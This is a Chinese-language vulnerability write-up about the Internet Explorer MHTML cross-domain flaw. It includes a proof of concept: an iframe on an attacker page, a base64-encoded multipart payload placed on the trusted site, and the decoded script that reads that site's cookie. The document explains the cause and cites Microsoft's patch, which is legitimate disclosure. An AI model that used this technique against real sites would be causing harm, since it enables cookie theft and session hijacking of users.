漏洞表现:
http://evildomain.com/mhtml.html,其html代码为:
<iframe src="MHTML:http://trusteddomain.com/demo.html!cookie"></iframe>
其中URL http://trusteddomain.com/demo.html 的代码为:
Content-Type: multipart/related; boundary="_boundary_by_mere"
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PGJvZHk+DQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly90cnVzdGVkZG9tYWluLmNvbS8iPjwvaWZyYW1lPg0KPHNjcmlwdD4NCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA/IGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg==
--_boundary_by_mere--
IE浏览器访问http://evildomain.com/mhtml.html,会获取http://trusteddomain.com/demo.html的内容,并且执行。这里demo.html中的内容是需要base64解密的,解密之后的内容为:
<body>
<iframe id=ifr src="http://trusteddomain.com/"></iframe>
<script>
function crosscookie(){
ifr = ifr.contentWindow ? ifr.contentWindow : ifr.contentDocument;
alert(ifr.document.cookie)
}
setTimeout("crosscookie()",1000);
</script></body>
这个解密之后的内容是为了获取COOKIE。这是因为IE浏览器认为MHTML:http://trusteddomain.com/demo.html!cookie所对应的解密内容和http://trusteddomain.com属于同一个域,有相同的权限,所以可以获取到cookie。这里的cookie被获取是有一个前提:demo.html文件在trusteddomain.com的服务器中。
漏洞原因:
1. MHTML允许IE浏览器进行跨域访问,当用户访问evildomain.com/mhtml.html的同时,也访问了trusteddomain.com
2. MHTML:http://trusteddomain.com/demo.html!cookie的内容与http://trusteddomain.com是同源,有相同的权限。
漏洞补丁:
微软提供MHTML的漏洞补丁 http://support.microsoft.com/kb/2501696
漏洞参考文献
http://hi.baidu.com/hi_heige/blog/item/b58a24d2116658123af3cfdc.html
http://www.80vul.com/webzine_0x05/webzine_0x05/0x05%20IE下MHTML协议带来的跨域危害.html